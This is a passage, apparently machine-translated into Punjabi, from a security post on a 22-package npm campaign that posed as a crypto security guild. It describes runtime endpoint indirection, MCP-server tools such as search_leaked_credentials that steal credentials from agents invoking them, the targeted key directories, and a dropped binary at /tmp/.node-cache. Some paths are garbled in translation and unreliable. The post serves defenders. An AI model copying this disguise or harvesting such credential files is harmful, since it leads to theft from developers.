ਕਰਦਾ ਹੈ ਜਿਸਨੂੰ ਸੁਰੱਖਿਅਤ, ਅਨਿਸ਼ਚਿਤ, ਜਾਂ ਮਾਲਵੇਅਰ ਪ੍ਰਤੀ-ਪੈਕੇਜ ਵਰਗੀਕਰਣਾਂ ਵਿੱਚੋਂ ਕੋਈ ਵੀ ਘਟਾ ਸਕਦਾ ਹੈ।
ਜਦੋਂ ਤੱਕ ਹੋਰ ਸਾਬਤ ਨਹੀਂ ਹੋ ਜਾਂਦਾ, ਡਾਇਨਾਮਿਕ-ਕੌਨਫਿਗ ਇਨਡਾਇਰੈਕਸ਼ਨਾਂ ਨੂੰ ਖਤਰਨਾਕ ਸਮਝੋ। ਇੱਕ ਪੈਕੇਜ ਜੋ ਕਿਸੇ ਤੀਜੀ-ਧਿਰ ਦਸਤਾਵੇਜ਼ (GitHub Pages, GitHub Gist, Pastebin, S3 object, ਕਿਤੇ ਵੀ) ਤੋਂ ਰਨਟਾਈਮ 'ਤੇ ਆਪਣੇ ਆਊਟਬਾਉਂਡ ਐਂਡਪੁਆਇੰਟ ਨੂੰ ਹੱਲ ਕਰਦਾ ਹੈ, ਟੈਲੀਮੈਟਰੀ ਲਈ ਅਜਿਹਾ ਕਰਨ ਦਾ ਕੋਈ ਜਾਇਜ਼ ਕਾਰਨ ਨਹੀਂ ਹੈ। ਅਸਲ ਟੈਲੀਮੈਟਰੀ ਐਂਡਪੁਆਇੰਟ ਹਾਰਡਕੋਡ ਅਤੇ ਦਸਤਾਵੇਜ਼ੀ ਹਨ।
MCP-ਸਰਵਰ ਪੈਕੇਜਾਂ ਦਾ ਉਹਨਾਂ ਦੇ ਇਸ਼ਤਿਹਾਰੀ ਟੂਲ ਸਤਹ ਦੁਆਰਾ ਆਡਿਟ ਕਰੋ। ਵੇਰੀਐਂਟ-ਏ ਪੈਕੇਜ ਸਾਰੇ ਇਸ਼ਤਿਹਾਰ ਟੂਲ ਨਾਮਕ ਹਨ search_leaked_credentials, validate_chain_key, deploy_safe, ਅਤੇ ਇਸੇ ਤਰ੍ਹਾਂ ਦੇ "ਆਡਿਟ" ਕਿਰਿਆਵਾਂ। ਇੱਕ MCP ਹੋਸਟ ਜੋ ਇੱਕ ਟੂਲ ਨੂੰ ਦਰਸਾਉਂਦਾ ਹੈ ਜਿਸਦਾ ਵਰਣਨ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਲਈ ਪ੍ਰੋਜੈਕਟ ਡਾਇਰੈਕਟਰੀਆਂ ਨੂੰ ਸਕੈਨ ਕਰਨ ਦਾ ਦਾਅਵਾ ਕਰਦਾ ਹੈ, ਏਜੰਟ ਦੁਆਰਾ ਇਸਨੂੰ ਅਸਲ ਕੋਡਬੇਸ 'ਤੇ ਇਨਵੋਕ ਕਰਨ ਤੋਂ ਪਹਿਲਾਂ ਸਪਸ਼ਟ ਓਪਰੇਟਰ ਔਪਟ-ਇਨ ਦੀ ਲੋੜ ਹੁੰਦੀ ਹੈ। MCP ਦਾ ਬਿੰਦੂ ਇਹ ਹੈ ਕਿ ਏਜੰਟ ਲੂਪ ਕੋਲ ਇਹ ਜਾਣਨ ਦਾ ਕੋਈ ਤਰੀਕਾ ਨਹੀਂ ਹੈ ਕਿ ਕੀ search_leaked_credentials ਇੱਕ ਕ੍ਰੇਡੈਂਸ਼ੀਅਲ ਖੋਜ ਹੈ ਜਾਂ ਇੱਕ ਕ੍ਰੇਡੈਂਸ਼ੀਅਲ ਐਕਸਫਿਲਟਰ ਹੈ।

ਡਿਵੈਲਪਰਾਂ ਲਈ ਜਿਨ੍ਹਾਂ ਨੇ ਪਹਿਲਾਂ ਹੀ 22 ਪੈਕੇਜਾਂ ਵਿੱਚੋਂ ਇੱਕ ਇੰਸਟਾਲ ਕਰ ਲਿਆ ਹੈ: ਕਿਸੇ ਵੀ ਪਲੇਨਟੈਕਸਟ ਕੁੰਜੀ ਨੂੰ ਮੰਨ ਲਓ ~/.ssh, ~/.ਈਥਰਿਅਮ, ~/.ਬਿਟਕੋਇਨ, ~/.ਸੋਲਾਨਾ, ~/.env, ਜ ~/.git-ਕ੍ਰੈਡੈਂਸ਼ੀਅਲ ਨਾਲ ਸਮਝੌਤਾ ਹੋਇਆ ਹੈ, ਹਰੇਕ ਪ੍ਰਮਾਣ ਪੱਤਰ ਨੂੰ ਘੁੰਮਾਓ ਜਿਸਦਾ ਨਾਮ ਉੱਪਰ ਦਿੱਤੀ env-ਵੇਰੀਏਬਲ ਫਿਲਟਰ ਸੂਚੀ ਨਾਲ ਮੇਲ ਖਾਂਦਾ ਹੈ, ਅਤੇ Linux/macOS 'ਤੇ ਇੱਕ ਐਗਜ਼ੀਕਿਊਟੇਬਲ ਫਾਈਲ ਦੀ ਜਾਂਚ ਕਰੋ। /tmp/.node-ਕੈਸ਼ (ਅਤੇ ਕੋਈ ਵੀ ਅਨਾਥ ਪ੍ਰਕਿਰਿਆ ਇਸ ਤੋਂ ਸ਼ੁਰੂ ਹੋਈ)। ਨਕਲ ਕੀਤੇ ਟੂਲਿੰਗ ਦੇ ਜਾਇਜ਼ ਸੰਸਕਰਣ ਨੂੰ ਦੁਬਾਰਾ ਸਥਾਪਿਤ ਕਰਨਾ (ਫੌਨੇਰੀ, ਟਰਫਲ, hardhat, ganache, ਆਦਿ) ਛੱਡੀ ਹੋਈ ਬਾਈਨਰੀ ਨੂੰ ਨਹੀਂ ਹਟਾਉਂਦਾ।

ਸੁਸਤ ਵੇਰੀਐਂਟ-ਸੀ ਟ੍ਰੈਂਚ ਇਸ ਕਹਾਣੀ ਦਾ ਉਹ ਹਿੱਸਾ ਹੈ ਜੋ ਸਭ ਤੋਂ ਵੱਧ ਪੁਰਾਣਾ ਹੁੰਦਾ ਹੈ। ਇੱਕ ਸਾਫ਼ ਇੰਸਟਾਲ ਪ੍ਰੋਫਾਈਲ ਅਤੇ ਇੱਕ ਸਥਾਪਿਤ ਪ੍ਰਕਾਸ਼ਕ ਵਾਲੇ ਨੌਂ ਪੈਕੇਜ ਬਿਲਕੁਲ ਉਸੇ ਕਿਸਮ ਦੀ ਵਸਤੂ ਸੂਚੀ ਹਨ ਜੋ ਇੱਕ ਓਪਰੇਟਰ ਰਿਜ਼ਰਵ ਵਿੱਚ ਰੱਖਦਾ ਹੈ। ਜੇਕਰ ਉਹ ਬਾਅਦ ਵਿੱਚ ਵਿਸਫੋਟ ਕਰਦੇ ਹਨ - ਜਿਵੇਂ ਕਿ ਫੈਂਟਮਬੋਟ ਨੇ ਕੀਤਾ ਸੀ ਜਦੋਂ ਇਹ ਐਕਸੋਇਸ-ਯੂਟਿਲਸ ਰੀਪੈਕੇਜ ਨੂੰ ਕ੍ਰੈਡੈਂਸ਼ੀਅਲ ਚੋਰੀ ਤੋਂ ਬੋਟਨੈੱਟ ਭਰਤੀ ਤੱਕ ਫਲਿੱਪ ਕੀਤਾ ਗਿਆ - ਉਹ ਕਿਸੇ ਵੀ ਰਜਿਸਟਰੀ ਉਪਭੋਗਤਾ ਦੇ ਵਿਰੁੱਧ ਵਿਸਫੋਟ ਕਰਨਗੇ ਜਿਸਨੇ ਅੱਜ ਅਤੇ ਟੇਕਡਾਉਨ ਦੇ ਵਿਚਕਾਰ ਇੱਕ ਵੇਰੀਐਂਟ-ਸੀ ਪੈਕੇਜ ਪਿੰਨ ਕੀਤਾ ਹੈ। ਵਰਜਨ ਦੁਆਰਾ ਇੱਕ ਖਤਰਨਾਕ ਪੈਕੇਜ ਪਿੰਨ ਕਰਨਾ ਤੁਹਾਨੂੰ ਉਸ ਪ੍ਰਕਾਸ਼ਕ ਤੋਂ ਨਹੀਂ ਬਚਾਉਂਦਾ ਜੋ ਹਰ ਵਰਜਨ ਨੂੰ ਨਿਯੰਤਰਿਤ ਕਰਦਾ ਹੈ।

ਹਵਾਲੇ

[npm ਪ੍ਰਕਾਸ਼ਕ ਪੰਨਾ ਲਈ ਵੱਲੋਂ ddjidd5640](https://www.npmjs.com/~ddjidd5640) — ਇਸ ਖਾਤੇ ਅਧੀਨ ਇਸ ਵੇਲੇ ਸੂਚੀਬੱਧ 22 ਪੈਕੇਜ। ਲਿਖਣ ਸਮੇਂ ਕੈਟਾਲਾਗ ਲਈ ਅਧਿਕਾਰਤ ਸਰੋਤ।
[npm ਪੈਕੇਜ ਪੰਨਾ ਲਈ ਕ੍ਰਿਪਟੋ-ਕ੍ਰੈਡੈਂਸ਼ੀਅਲ-ਸਕੈਨਰ](https://www.npmjs.com/package/crypto-credential-scanner) — ਉਦਾਹਰਣ ਵੇਰੀਐਂਟ-ਏ ਆਰਟੀਫੈਕਟ; README, ਸੰਸਕਰਣ ਇਤਿਹਾਸ, ਅਤੇ ਲੇਖਕ ਲਿੰਕ ਇੱਥੇ ਦਿਖਾਈ ਦੇ ਰਹੇ ਹਨ।

ਆਡੀਟਰਟ੍ਰੈਪ: ਦੋ ਸਮਾਨਾਂਤਰ ਪੇਲੋਡਾਂ ਦੇ ਨਾਲ npm 'ਤੇ ਇੱਕ 22-ਪੈਕੇਜ ਨਕਲੀ ਕ੍ਰਿਪਟੋ ਸੁਰੱਖਿਆ ਗਿਲਡ

ਵਿਸ਼ਾ - ਸੂਚੀ

ਪੜ੍ਹਨਯੋਗ ਪੋਸਟਾਂ

ਦਿਲਚਸਪੀ ਵਾਲੀਆਂ ਨਵੀਨਤਮ ਪੋਸਟਾਂ